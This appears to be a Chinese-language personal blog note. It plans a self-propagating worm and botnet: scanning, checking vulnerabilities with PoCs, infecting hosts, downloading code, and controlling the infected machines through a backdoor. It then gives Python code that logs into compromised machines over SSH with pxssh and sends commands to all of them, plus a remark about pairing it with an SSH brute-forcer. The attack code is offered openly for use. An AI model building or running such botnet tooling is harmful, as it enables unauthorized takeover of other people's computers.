先记录一下我自己像写的一个超级大木马蠕虫的思路。请自行忽略
1.本机电脑扫描探测其他电脑
2.使用poc验证是否存在漏洞,同时检测是否已经被感染
3.如果都满足,感染未感染同时又存在漏洞的机子。
4.感染后的机子下载代码。继续以上过程(这样是一台控制几台,几台又控制几台,可以开几台,形成循环。而且不互相知道)
5.如何控制自己的这种僵尸网络呢?(开一个特殊的后门)发送一条指令,一传十,十传百。主机信息怎么传递,可传输指令,运行github上的恶意代码,交替运行,由控制端随机选择哪几台机器运行?
正题:
1.正常的僵尸网络,是一台机器控制所有的肉鸡。
这里用一个全局变量BotNet=[]记录所有的肉鸡对象
用addClient()向BotNet里添加新的肉鸡
botnetCommand()是给新加的肉鸡指令。
定义一个client,就代表这一个肉鸡,可以连接一台远程的机器,并在本地执行命令。
这段代码并不是木马蠕虫,并不能实现自动传播。如果要实现自动传播,还需要和之前的暴力破解ssh结合在一起,修改代码。
client
代码:
from pexpect import pxssh
import getopt
class Client():
def __init__(self,host,user,password):
self.host=host
self.user=user
self.password=password
self.session=self.connect()
def connect(self):
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception as e:
print str(e)
return "Error Connection"
def send_command(self,cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
botNet=[]
def addClient(host,user,password):
client=Client(host,user,password)
botNet.append(client)
def botNetCommand(command):
for client in botNet:
output=client.send_command(command)
print "output from"+client.host
print "[+]"+output+"\n"
addClient('192.168.10.154','root','root')
botNetCommand('uname -v')
botNetCommand('cat /etc/issue')